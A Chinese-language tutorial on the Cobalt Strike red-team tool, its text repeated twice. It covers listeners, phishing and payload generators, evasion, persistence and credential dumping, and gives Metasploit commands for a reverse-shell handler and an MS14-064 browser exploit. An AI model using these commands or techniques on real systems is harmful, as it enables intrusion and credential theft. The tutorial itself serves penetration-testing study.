Cobalt Strike使用详解
字数 3660 2025-08-09 16:00:17

Cobalt Strike 渗透测试工具详解

1. 简介

Cobalt Strike 是一款专业的渗透测试工具,具有以下特点:

  • 采用客户端/服务端架构,支持团队协作
  • 基于Metasploit框架的GUI界面工具
  • 功能全面,包括:
    • 端口转发
    • 多模式端口监听
    • 多种payload生成(Windows exe/dll、Java、Office宏等)
    • 站点克隆
    • 浏览器信息获取

2. 环境部署

服务端启动

./teamserver [服务器IP地址] [密码]

客户端连接

  1. 双击start.bat
  2. 输入任意用户名
  3. 输入服务端设置的密码

3. 主要功能模块

3.1 Cobalt Strike选项卡

  • New Connection:新建连接
  • Preferences:设置
  • Visualization:可视化显示(三种模式)
  • VPN interfaces:VPN接口
  • Listeners:监听器设置

3.2 Listeners监听器类型

Cobalt Strike内置监听器为Beacon,外置监听器为Foreign:

监听器类型 描述
windows/dns/reverse_dns_txt 使用DNS的TXT类型进行数据传输
windows/dns/reverse_http 使用DNS方式管理目标主机
windows/http/reverse_http 使用HTTP方式管理目标主机
windows/https/reverse_https 使用HTTPS加密方式管理目标主机
windows/smb/bind_pipe 使用SMB命名管道通信
windows/foreign/reverse_http 通过HTTP将权限外派给Metasploit/Empire
windows/foreign/reverse_https 通过HTTPS将权限外派
windows/foreign/reverse_tcp 通过TCP将权限外派

3.3 View选项卡功能

  • Applications:获取浏览器版本信息
  • Credentials:凭证存储(hashdump/Mimikatz抓取的密码)
  • Downloads:下载文件
  • Event Log:主机上线记录和团队聊天记录
  • Keystrokes:键盘记录
  • Proxy Pivots:代理模块
  • Screenshots:进程截图
  • Script Console:控制台
  • Targets:显示目标
  • Web Log:Web访问记录

3.4 Attacks攻击模块

Packages模块:

  • HTML Application:生成恶意HTA木马文件
  • MS Office Macro:生成基于Office病毒的payload
  • Payload Generator:生成多种语言版本的payload(C/C#/Java/Perl/PowerShell/Python/Ruby/VBA等)
  • Windows Dropper:文档捆绑器,可捆绑后门程序
  • Windows Executable:生成32/64位exe、基于服务的exe/dll后门
  • Windows Executable(S):生成包含完整payload的可执行文件,支持代理设置和PowerShell脚本注入

Web Drive-by钓鱼模块:

  • 结合社会工程学攻击
  • 包括多种钓鱼方式(网站克隆、邮件钓鱼等)

Spare Phish邮件钓鱼:

  • 可定制钓鱼邮件模板
  • 支持附件和链接钓鱼

3.5 Reporting报告模块

  • 生成渗透测试操作记录和结果报告
  • 支持多种报告格式

4. 会话管理

4.1 Cobalt Strike派生Metasploit会话

  1. 在MSF中设置监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.134
set lport 8800
exploit -j
  1. 在Cobalt Strike中新建外部监听器(TCP协议)

4.2 Metasploit派生会话给Cobalt Strike

  1. 生成MSF会话:
use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.0.128
set SRVPORT 80
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.128
set lport 12345
exploit
  1. 在Teamserver上派生会话给CS:
use exploit/windows/local/payload_inject
set session 1
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.128
set lport 8888
set DisablePayloadHandler true
exploit -j

5. 免杀技术

  • 修改payload特征
  • 使用编码/加密技术
  • 利用合法程序加载恶意代码
  • 内存注入技术

6. 高级功能

6.1 重定向器与DNS Beacon

  • 重定向器作用
    1. 保护服务器地址
    2. 提供通信冗余能力
  • DNS Beacon特点
    • 隐蔽性好(不开放端口)
    • 可绕过防火墙(使用53端口)
    • 缺点是响应速度慢

6.2 可持续后门

  • 注册表持久化
  • 计划任务
  • 服务安装
  • 启动文件夹

6.3 Malleable C2配置

  • 修改C2配置文件可:
    • 更改payload属性/行为
    • 伪造正常通信流量
    • 绕过IDS/防火墙检测

6.4 SSH隧道应用

  • 通过SSH建立加密隧道
  • 绕过网络限制
  • 隐藏真实流量

6.5 MSF与Cobalt Strike联动

  • 结合两者优势
  • MSF擅长漏洞利用
  • Cobalt Strike擅长后期渗透

7. 后渗透测试模块

7.1 权限提升

  • elevate模块
    • ms14-058:直接提权至system
    • uac-dll/uac-token-duplication:绕过UAC
  • Golden Ticket:提升域管理权限

7.2 横向移动

  • socks server模块
    1. 浏览器直接添加socks4代理
    2. 将MSF流量引入代理
    3. 使用SocksCap64/proxychains工具
  • Spawn As模块:以指定用户身份派生shell
  • 级联监听器模块:端口转发+监听器组合

7.3 其他功能

  • mimikatz模块
    • 自动匹配目标架构
    • 支持多种命令格式
  • 文件管理:上传/下载/创建文件夹
  • 进程列表:键盘记录/进程注入/截图/令牌伪造
  • 端口扫描:支持ARP/ICMP探测

8. Beacon常用命令

命令 描述
argue 进程参数欺骗
blockdlls 阻止子进程加载非Microsoft DLL
browserpivot 注入浏览器进程
bypassuac 绕过UAC提权
cd 切换目录
checkin 强制回连
clear 清除任务队列
connect 通过TCP连接Beacon peer
dcsync 从DC提取密码哈希
desktop 远程桌面(VNC)
dllinject 反射DLL注入
download 下载文件
elevate 使用exp提权
execute 执行程序(无输出)
execute-assembly 内存中执行.NET程序
getsystem 获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希
inject 进程注入生成会话
kerberos_ccache_use 应用ccache文件中的票据
keylogger 键盘记录
kill 结束进程
link 通过命名管道连接Beacon peer
logonpasswords 使用mimikatz转储凭据
ls 列出文件
make_token 创建传递凭据的令牌
mimikatz 运行mimikatz
mkdir 创建目录
portscan 端口扫描
powershell 通过powershell.exe执行命令
psexec 使用服务生成会话
pth 传递哈希
run 执行程序(返回输出)
runas 以其他用户权限执行
screenshot 屏幕截图
shell 执行cmd命令
sleep 设置睡眠延迟
socks 启动SOCKS4代理
spawn 生成会话
spawnas 以其他用户身份生成会话
steal_token 窃取进程令牌
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM横向渗透
wmi 使用WMI横向渗透

9. 资源

  • Cobalt Strike 4.0下载(提取码:d0op)
  • 建议同时参考英文版和中文版资料学习

总结

Cobalt Strike是一款功能强大的渗透测试工具,特别适合红队操作和高级渗透测试。掌握其核心功能模块、会话管理、后渗透技术以及常用命令,能够有效提升渗透测试效率。使用时需注意遵守法律法规,仅在授权范围内使用。

Cobalt Strike 渗透测试工具详解 1. 简介 Cobalt Strike 是一款专业的渗透测试工具,具有以下特点: 采用客户端/服务端架构,支持团队协作 基于Metasploit框架的GUI界面工具 功能全面,包括: 端口转发 多模式端口监听 多种payload生成(Windows exe/dll、Java、Office宏等) 站点克隆 浏览器信息获取 2. 环境部署 服务端启动 客户端连接 双击start.bat 输入任意用户名 输入服务端设置的密码 3. 主要功能模块 3.1 Cobalt Strike选项卡 New Connection :新建连接 Preferences :设置 Visualization :可视化显示(三种模式) VPN interfaces :VPN接口 Listeners :监听器设置 3.2 Listeners监听器类型 Cobalt Strike内置监听器为Beacon,外置监听器为Foreign: | 监听器类型 | 描述 | |------------|------| | windows/dns/reverse_ dns_ txt | 使用DNS的TXT类型进行数据传输 | | windows/dns/reverse_ http | 使用DNS方式管理目标主机 | | windows/http/reverse_ http | 使用HTTP方式管理目标主机 | | windows/https/reverse_ https | 使用HTTPS加密方式管理目标主机 | | windows/smb/bind_ pipe | 使用SMB命名管道通信 | | windows/foreign/reverse_ http | 通过HTTP将权限外派给Metasploit/Empire | | windows/foreign/reverse_ https | 通过HTTPS将权限外派 | | windows/foreign/reverse_ tcp | 通过TCP将权限外派 | 3.3 View选项卡功能 Applications :获取浏览器版本信息 Credentials :凭证存储(hashdump/Mimikatz抓取的密码) Downloads :下载文件 Event Log :主机上线记录和团队聊天记录 Keystrokes :键盘记录 Proxy Pivots :代理模块 Screenshots :进程截图 Script Console :控制台 Targets :显示目标 Web Log :Web访问记录 3.4 Attacks攻击模块 Packages模块: HTML Application :生成恶意HTA木马文件 MS Office Macro :生成基于Office病毒的payload Payload Generator :生成多种语言版本的payload(C/C#/Java/Perl/PowerShell/Python/Ruby/VBA等) Windows Dropper :文档捆绑器,可捆绑后门程序 Windows Executable :生成32/64位exe、基于服务的exe/dll后门 Windows Executable(S) :生成包含完整payload的可执行文件,支持代理设置和PowerShell脚本注入 Web Drive-by钓鱼模块: 结合社会工程学攻击 包括多种钓鱼方式(网站克隆、邮件钓鱼等) Spare Phish邮件钓鱼: 可定制钓鱼邮件模板 支持附件和链接钓鱼 3.5 Reporting报告模块 生成渗透测试操作记录和结果报告 支持多种报告格式 4. 会话管理 4.1 Cobalt Strike派生Metasploit会话 在MSF中设置监听: 在Cobalt Strike中新建外部监听器(TCP协议) 4.2 Metasploit派生会话给Cobalt Strike 生成MSF会话: 在Teamserver上派生会话给CS: 5. 免杀技术 修改payload特征 使用编码/加密技术 利用合法程序加载恶意代码 内存注入技术 6. 高级功能 6.1 重定向器与DNS Beacon 重定向器作用 : 保护服务器地址 提供通信冗余能力 DNS Beacon特点 : 隐蔽性好(不开放端口) 可绕过防火墙(使用53端口) 缺点是响应速度慢 6.2 可持续后门 注册表持久化 计划任务 服务安装 启动文件夹 6.3 Malleable C2配置 修改C2配置文件可: 更改payload属性/行为 伪造正常通信流量 绕过IDS/防火墙检测 6.4 SSH隧道应用 通过SSH建立加密隧道 绕过网络限制 隐藏真实流量 6.5 MSF与Cobalt Strike联动 结合两者优势 MSF擅长漏洞利用 Cobalt Strike擅长后期渗透 7. 后渗透测试模块 7.1 权限提升 elevate模块 : ms14-058:直接提权至system uac-dll/uac-token-duplication:绕过UAC Golden Ticket :提升域管理权限 7.2 横向移动 socks server模块 : 浏览器直接添加socks4代理 将MSF流量引入代理 使用SocksCap64/proxychains工具 Spawn As模块 :以指定用户身份派生shell 级联监听器模块 :端口转发+监听器组合 7.3 其他功能 mimikatz模块 : 自动匹配目标架构 支持多种命令格式 文件管理 :上传/下载/创建文件夹 进程列表 :键盘记录/进程注入/截图/令牌伪造 端口扫描 :支持ARP/ICMP探测 8. Beacon常用命令 | 命令 | 描述 | |------|------| | argue | 进程参数欺骗 | | blockdlls | 阻止子进程加载非Microsoft DLL | | browserpivot | 注入浏览器进程 | | bypassuac | 绕过UAC提权 | | cd | 切换目录 | | checkin | 强制回连 | | clear | 清除任务队列 | | connect | 通过TCP连接Beacon peer | | dcsync | 从DC提取密码哈希 | | desktop | 远程桌面(VNC) | | dllinject | 反射DLL注入 | | download | 下载文件 | | elevate | 使用exp提权 | | execute | 执行程序(无输出) | | execute-assembly | 内存中执行.NET程序 | | getsystem | 获取SYSTEM权限 | | getuid | 获取用户ID | | hashdump | 转储密码哈希 | | inject | 进程注入生成会话 | | kerberos_ ccache_ use | 应用ccache文件中的票据 | | keylogger | 键盘记录 | | kill | 结束进程 | | link | 通过命名管道连接Beacon peer | | logonpasswords | 使用mimikatz转储凭据 | | ls | 列出文件 | | make_ token | 创建传递凭据的令牌 | | mimikatz | 运行mimikatz | | mkdir | 创建目录 | | portscan | 端口扫描 | | powershell | 通过powershell.exe执行命令 | | psexec | 使用服务生成会话 | | pth | 传递哈希 | | run | 执行程序(返回输出) | | runas | 以其他用户权限执行 | | screenshot | 屏幕截图 | | shell | 执行cmd命令 | | sleep | 设置睡眠延迟 | | socks | 启动SOCKS4代理 | | spawn | 生成会话 | | spawnas | 以其他用户身份生成会话 | | steal_ token | 窃取进程令牌 | | upload | 上传文件 | | wdigest | 使用mimikatz转储明文凭据 | | winrm | 使用WinRM横向渗透 | | wmi | 使用WMI横向渗透 | 9. 资源 Cobalt Strike 4.0下载(提取码:d0op) 建议同时参考英文版和中文版资料学习 总结 Cobalt Strike是一款功能强大的渗透测试工具,特别适合红队操作和高级渗透测试。掌握其核心功能模块、会话管理、后渗透技术以及常用命令,能够有效提升渗透测试效率。使用时需注意遵守法律法规,仅在授权范围内使用。